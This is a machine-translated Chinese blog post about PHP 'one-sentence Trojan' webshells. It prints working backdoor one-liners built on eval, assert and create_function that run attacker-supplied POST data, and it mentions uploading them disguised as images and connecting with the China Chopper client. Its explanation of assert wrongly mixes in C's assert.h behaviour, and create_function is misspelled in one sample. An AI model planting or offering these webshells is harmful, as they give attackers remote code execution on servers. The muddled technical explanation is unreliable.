当前位置:网站首页>PHP one sentence Trojan horse
PHP one sentence Trojan horse
2022-06-26 05:02:00 【Bolin】
In a word, the common form of Trojan horse
<?php eval(@$_POST['password']);?>
<?php ;?> yes php The basic format of eval Is the execution function
$_POST[‘password’] It's the received data , What is used here is POST The way , It also exists GET、COOKIE The way , In a word, the Trojan horse passed eval Function takes the received data as PHP Code to execute
Once used to pass pictures into the server , And connected with a kitchen knife , The password is required for the kitchen knife connection , What is used is the content in the parameter “password”.
Problems were found during the connection , Connection time , Server side pop-up window , You need to close this window manually , The client can successfully connect with a kitchen knife . Otherwise, the connection will not succeed .( The specific reason has not been solved , Take the time to solve this problem )
Using functions
- assert function
<?php assert(@$_POST['password']);?>
assert Its function is to calculate the expression expression , If the value is false ( That is to say 0), Then it goes first to stderr Print an error message , And then by calling abort To stop the program running .
assert() The disadvantage of , Frequent calls can greatly affect the performance of the program , Add extra expenses .
Many places have assert Function disable , because assert Only in DEBUG Effective , Only need #include <assert.h> with #define NDEBUG Can be disabled , It can also be achieved by changing the environment .
Better use in the program assert The place of :
- Null pointer check . for example , Null pointer checking for a function's parameters . You can use it like this :
assert (pointer != NULL);
The resulting error will be like this :
Assertion ‘pointer != ((void *)0)’ failed.
such , When a null pointer appears , Your program will exit , And give a good error message . - Check the value of function parameters . for example , If a function can only be in one of its parameters foo Is called when it is positive , You can write this at the beginning of the function :
assert (foo > 0);,
This will help you detect incorrect use of functions , This also gives the source code reader a very clear impression , That is, there are restrictions on the parameter values of the function .
- Null pointer check . for example , Null pointer checking for a function's parameters . You can use it like this :
We can try to use it reasonably in our own Trojan horse .
- create_funtion function
<?php
$fun = create_funtion('',$_POST['password']);
$fun();
?>
create_funtion The function creates an anonymous function based on the parameters passed , And return a unique name for it .
Usage method : Generate a function from the data passed by the user , For example, the above fun(), And then execute fun().
- The following code reference
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
create_function() Will create an anonymous function (lambda style ). Here we have created a file called lambda_1 Function of , At the first echo The name appears in the , And in the second echo Statement executed this function .
create_function() The function will execute internally eval(), We found out that the latter return sentence , Belong to create_function() Second parameter in string $code Location .
边栏推荐
- BACK-OFF RESTARTING FAILED CONTAINER 的解决方法
- Numpy general function
- File upload and security dog
- -Discrete Mathematics - Analysis of final exercises
- 1.18 learning summary
- Day3 data type and Operator jobs
- MySql如何删除所有多余的重复数据
- Créateur de génie: cavalier solitaire, magnat de la technologie et ai | dix ans d'apprentissage profond
- Simple application of KMP
- 广和通联合安提国际为基于英伟达 Jetson Xavier NX的AI边缘计算平台带来5G R16强大性能
猜你喜欢

PowerShell runtime system IO exceptions

0622 horse palm fell 9%

How can the intelligent transformation path of manufacturing enterprises be broken due to talent shortage and high cost?

How MySQL deletes all redundant duplicate data

为什么许多shopify独立站卖家都在用聊天机器人?一分钟读懂行业秘密!

钟珊珊:被爆锤后的工程师会起飞|OneFlow U

PSIM software learning ---08 call of C program block

The first gift of the project, the flying oar contract!

5. < tag stack and general problems > supplement: lt.946 Verify the stack sequence (the same as the push in and pop-up sequence of offer 31. stack)

Zuul 实现动态路由
随机推荐
1.14 learning summary
6.1 - 6.2 Introduction à la cryptographie à clé publique
0622-马棕榈跌9%
Sklearn Library -- linear regression model
Zuul 實現動態路由
Image translation /gan:unsupervised image-to-image translation with self attention networks
Multipass Chinese document - use packer to package multipass image
Generalized linear model (logistic regression, Poisson regression)
Dbeaver installation and configuration of offline driver
2022.1.24
UWB ultra high precision positioning system architecture
Computer Vision Tools Chain
Selection of programming language
2.9 learning summary
Datetime data type ---now() gets the current time, datetime() creation date, performs mathematical operations, and to_ Datetime() converts to date type and extracts various parts of date
一个从坟墓里爬出的公司
Multipass Chinese document - remove instance
dijkstra
Large numbers (C language)
86.(cesium篇)cesium叠加面接收阴影效果(gltf模型)